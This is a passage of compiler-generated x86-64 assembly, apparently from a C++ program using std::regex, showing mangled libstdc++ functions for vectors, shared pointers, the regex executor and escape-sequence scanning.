_ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv mov rdx, rax mov rax, QWORD PTR [rbp-16] sub rax, rdx mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE17_M_default_appendEm jmp .L636 .L634: mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv cmp QWORD PTR [rbp-16], rax setb al test al, al je .L636 mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-16] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 lea rdx, [rcx+rax] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE15_M_erase_at_endEPS4_ .L636: nop leave ret _ZN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEC2ERKS6_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNK9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEE4baseEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EE6_M_getEv leave ret _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EE4sizeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] sub rdx, rax mov rax, rdx sar rax, 4 mov rdx, rax movabs rax, -6148914691236517205 imul rax, rdx pop rbp ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EEC2Ev nop leave ret _ZNSaISt4pairIPKciEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEEC2Ev nop leave ret _ZNSaISt4pairIPKciEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt4pairIPKciEED2Ev nop leave ret _ZNSt6vectorISt4pairIPKciESaIS3_EEC2EmRKS4_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-40] mov rcx, QWORD PTR [rbp-32] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EEC2EmRKS4_ mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt6vectorISt4pairIPKciESaIS3_EE21_M_default_initializeEm jmp .L650 mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EED2Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L650: add rsp, 40 pop rbx pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EEC2Elm: push rbp mov rbp, rsp push r12 push rbx sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EEC1Ev mov rax, QWORD PTR [rbp-24] lea r12, [rax+24] mov rbx, QWORD PTR [rbp-40] mov rdi, rbx call _Znam mov rcx, rax mov rdx, rcx lea rax, [rbx-1] .L653: test rax, rax js .L652 mov BYTE PTR [rdx], 0 add rdx, 1 sub rax, 1 jmp .L653 .L652: mov rsi, rcx mov rdi, r12 call _ZNSt10unique_ptrIA_bSt14default_deleteIS0_EEC1IPbS2_vbEET_ mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov QWORD PTR [rax+32], rdx jmp .L656 mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L656: add rsp, 32 pop rbx pop r12 pop rbp ret _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE12_Vector_implD2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaISt4pairIPKciEED2Ev nop leave ret _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] sub rdx, rax mov rax, rdx sar rax, 4 mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE13_M_deallocateEPS3_m mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE12_Vector_implD1Ev nop leave ret _ZNSt12_Vector_baseISt4pairIPKciESaIS3_EE19_M_get_Tp_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt8_DestroyIPSt4pairIPKciES3_EvT_S5_RSaIT0_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt8_DestroyIPSt4pairIPKciEEvT_S5_ nop leave ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE12_Vector_implD2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEED2Ev nop leave ret _ZN9__gnu_cxx14__alloc_traitsISaINSt7__cxx119sub_matchIPKcEEES5_E15_S_always_equalEv: push rbp mov rbp, rsp mov eax, 1 pop rbp ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] sub rdx, rax mov rax, rdx sar rax, 5 mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE13_M_deallocateEPS9_m mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE12_Vector_implD1Ev nop leave ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE19_M_get_Tp_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt8_DestroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEES9_EvT_SB_RSaIT0_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt8_DestroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEvT_SB_ nop leave ret _ZNSt15__uniq_ptr_implIbSt14default_deleteIA_bEE6_M_ptrEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt3getILm0EJPbSt14default_deleteIA_bEEERNSt13tuple_elementIXT_ESt5tupleIJDpT0_EEE4typeERS8_ leave ret _ZNSt10unique_ptrIA_bSt14default_deleteIS0_EE11get_deleterEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt15__uniq_ptr_implIbSt14default_deleteIA_bEE10_M_deleterEv leave ret _ZNKSt14default_deleteIA_bEclIbEENSt9enable_ifIXsrSt14is_convertibleIPA_T_PS0_E5valueEvE4typeEPS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi cmp QWORD PTR [rbp-16], 0 je .L675 mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZdaPv .L675: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE7_M_mainENS9_11_Match_modeE: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov eax, esi mov BYTE PTR [rbp-28], al movzx edx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_main_dispatchENS9_11_Match_modeESt17integral_constantIbLb0EE leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE20_M_search_from_firstEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+32] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-8] mov esi, 1 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE7_M_mainENS9_11_Match_modeE leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_State_infoISt17integral_constantIbLb1EESt6vectorIS5_S6_EEC2Elm: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE7_M_mainENS9_11_Match_modeE: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov eax, esi mov BYTE PTR [rbp-28], al movzx edx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, edx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_main_dispatchENS9_11_Match_modeESt17integral_constantIbLb1EE leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE20_M_search_from_firstEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+32] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-8] mov esi, 1 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE7_M_mainENS9_11_Match_modeE leave ret _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] sub rdx, rax mov rax, rdx sar rax, 3 mov rdx, rax movabs rax, -6148914691236517205 imul rax, rdx pop rbp ret _ZNSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EEC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov edx, OFFSET FLAT:_ZTVSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EE+16 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+8], 1 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+12], 1 nop pop rbp ret _ZNSaINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC2Ev nop leave ret _ZNSaINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED2Ev nop leave ret _ZSt7forwardIRKSt6localeEOT_RNSt16remove_referenceIS3_E4typeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt7forwardIRNSt15regex_constants18syntax_option_typeEEOT_RNSt16remove_referenceIS3_E4typeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt15allocate_sharedINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_EJRKSt6localeRNSt15regex_constants18syntax_option_typeEEESt10shared_ptrIT_ERKT0_DpOT1_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-48], rcx mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZSt7forwardIRNSt15regex_constants18syntax_option_typeEEOT_RNSt16remove_referenceIS3_E4typeE mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt7forwardIRKSt6localeEOT_RNSt16remove_referenceIS3_E4typeE mov rdx, rax mov rsi, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rcx, rbx mov rdi, rax call _ZNSt10shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC1ISaIS5_EJRKSt6localeRNSt15regex_constants18syntax_option_typeEEEESt20_Sp_alloc_shared_tagIT_EDpOT0_ mov rax, QWORD PTR [rbp-24] add rsp, 40 pop rbx pop rbp ret _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EE6_M_getEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt12__shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EE3getEv leave ret _ZSt9use_facetIKSt5ctypeIcEERKT_RKSt6locale: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov edi, OFFSET FLAT:_ZNSt5ctypeIcE2idE call _ZNKSt6locale2id5_M_idEv mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax] mov rax, QWORD PTR [rax+8] mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax] mov rax, QWORD PTR [rax+16] cmp QWORD PTR [rbp-8], rax jnb .L699 mov rax, QWORD PTR [rbp-8] lea rdx, [0+rax*8] mov rax, QWORD PTR [rbp-16] add rax, rdx mov rax, QWORD PTR [rax] test rax, rax jne .L700 .L699: call _ZSt16__throw_bad_castv .L700: mov rax, QWORD PTR [rbp-8] lea rdx, [0+rax*8] mov rax, QWORD PTR [rbp-16] add rax, rdx mov rax, QWORD PTR [rax] mov ecx, 0 mov edx, OFFSET FLAT:_ZTISt5ctypeIcE mov esi, OFFSET FLAT:_ZTINSt6locale5facetE mov rdi, rax call __dynamic_cast test rax, rax jne .L704 call __cxa_bad_cast .L704: leave ret .LC11: .string "Unexpected end of regex when escaping." .LC12: .string "Unexpected end of regex when reading control code." .LC13: .string "Unexpected end of regex when ascii character." _ZNSt8__detail8_ScannerIcE18_M_eat_escape_ecmaEv: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+184] cmp rdx, rax jne .L706 mov esi, OFFSET FLAT:.LC11 mov edi, 2 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L706: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] mov BYTE PTR [rbp-21], al mov rbx, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] movsx ecx, BYTE PTR [rbp-21] mov edx, 0 mov esi, ecx mov rdi, rax call _ZNKSt5ctypeIcE6narrowEcc movsx eax, al mov esi, eax mov rdi, rbx call _ZNSt8__detail12_ScannerBase14_M_find_escapeEc mov QWORD PTR [rbp-32], rax cmp QWORD PTR [rbp-32], 0 je .L707 cmp BYTE PTR [rbp-21], 98 jne .L708 mov rax, QWORD PTR [rbp-40] mov eax, DWORD PTR [rax+136] cmp eax, 2 jne .L707 .L708: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-40] lea rcx, [rax+200] mov rax, QWORD PTR [rbp-32] movzx eax, BYTE PTR [rax] movsx eax, al mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L709 .L707: cmp BYTE PTR [rbp-21], 98 jne .L710 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 24 mov rax, QWORD PTR [rbp-40] add rax, 200 mov edx, 112 mov esi, 1 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L731 .L710: cmp BYTE PTR [rbp-21], 66 jne .L711 mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 24 mov rax, QWORD PTR [rbp-40] add rax, 200 mov edx, 110 mov esi, 1 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L731 .L711: cmp BYTE PTR [rbp-21], 100 je .L712 cmp BYTE PTR [rbp-21], 68 je .L712 cmp BYTE PTR [rbp-21], 115 je .L712 cmp BYTE PTR [rbp-21], 83 je .L712 cmp BYTE PTR [rbp-21], 119 je .L712 cmp BYTE PTR [rbp-21], 87 jne .L713 .L712: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 14 mov rax, QWORD PTR [rbp-40] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-21] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L709 .L713: cmp BYTE PTR [rbp-21], 99 jne .L714 mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+184] cmp rdx, rax jne .L715 mov esi, OFFSET FLAT:.LC12 mov edi, 2 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L715: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-40] lea rdi, [rax+200] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx eax, al mov edx, eax mov esi, 1 call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L731 .L714: cmp BYTE PTR [rbp-21], 120 je .L716 cmp BYTE PTR [rbp-21], 117 jne .L717 .L716: mov rax, QWORD PTR [rbp-40] add rax, 200 mov rdx, -1 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5eraseEmm mov DWORD PTR [rbp-20], 0 .L725: cmp BYTE PTR [rbp-21], 120 jne .L718 mov eax, 2 jmp .L719 .L718: mov eax, 4 .L719: cmp eax, DWORD PTR [rbp-20] jle .L720 mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L721 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] mov rdx, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rdx+176] movzx edx, BYTE PTR [rdx] movsx edx, dl mov esi, 4096 mov rdi, rax call _ZNKSt5ctypeIcE2isEtc xor eax, 1 test al, al je .L722 .L721: mov eax, 1 jmp .L723 .L722: mov eax, 0 .L723: test al, al je .L724 mov esi, OFFSET FLAT:.LC13 mov edi, 2 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L724: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx eax, al mov rdx, QWORD PTR [rbp-40] add rdx, 200 mov esi, eax mov rdi, rdx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc add DWORD PTR [rbp-20], 1 jmp .L725 .L720: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 3 jmp .L709 .L717: mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] movsx edx, BYTE PTR [rbp-21] mov esi, 2048 mov rdi, rax call _ZNKSt5ctypeIcE2isEtc test al, al je .L726 mov rax, QWORD PTR [rbp-40] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-21] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc .L730: mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+184] cmp rdx, rax je .L727 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+192] mov rdx, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rdx+176] movzx edx, BYTE PTR [rdx] movsx edx, dl mov esi, 2048 mov rdi, rax call _ZNKSt5ctypeIcE2isEtc test al, al je .L727 mov eax, 1 jmp .L728 .L727: mov eax, 0 .L728: test al, al je .L729 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+176] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rdx+176], rcx movzx eax, BYTE PTR [rax] movsx eax, al mov rdx, QWORD PTR [rbp-40] add rdx, 200 mov esi, eax mov rdi, rdx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc jmp .L730 .L729: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 4 jmp .L731 .L726: mov rax, QWORD PTR [rbp-40] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-40] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-21] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L731 .L709: .L731: nop add rsp, 40 pop rbx pop rbp ret .LC14: .string "Unexpected escape character." _ZNSt8__detail8_ScannerIcE19_M_eat_escape_posixEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+184] cmp rdx, rax jne .L733 mov esi, OFFSET FLAT:.LC11 mov edi, 2 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L733: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] movzx eax, BYTE PTR [rax] mov BYTE PTR [rbp-1], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+192] movsx ecx, BYTE PTR [rbp-1] mov edx, 0 mov esi, ecx mov rdi, rax call _ZNKSt5ctypeIcE6narrowEcc movsx edx, al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+160] mov esi, edx mov rdi, rax call strchr mov QWORD PTR [rbp-16], rax cmp QWORD PTR [rbp-16], 0 je .L734 mov rax, QWORD PTR [rbp-16] movzx eax, BYTE PTR [rax] test al, al je .L734 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 1 mov rax, QWORD PTR [rbp-24] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-1] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L735 .L734: mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail12_ScannerBase9_M_is_awkEv test al, al je .L736 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt8__detail8_ScannerIcE17_M_eat_escape_awkEv jmp .L732 .L736: mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail12_ScannerBase11_M_is_basicEv test al, al je .L738 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+192] movsx edx, BYTE PTR [rbp-1] mov esi, 2048 mov rdi, rax call _ZNKSt5ctypeIcE2isEtc test al, al je .L738 cmp BYTE PTR [rbp-1], 48 je .L738 mov eax, 1 jmp .L739 .L738: mov eax, 0 .L739: test al, al je .L740 mov rax, QWORD PTR [rbp-24] mov DWORD PTR [rax+144], 4 mov rax, QWORD PTR [rbp-24] lea rcx, [rax+200] movsx eax, BYTE PTR [rbp-1] mov edx, eax mov esi, 1 mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L735 .L740: mov esi, OFFSET FLAT:.LC14 mov edi, 2 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L735: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+176] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+176], rdx .L732: leave ret _ZNSt8__detail8_ScannerIcE10_M_advanceEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+176] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+184] cmp rdx, rax jne .L742 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+144], 27 jmp .L741 .L742: mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+136] test eax, eax jne .L744 mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt8__detail8_ScannerIcE14_M_scan_normalEv jmp .L741 .L744: mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+136] cmp 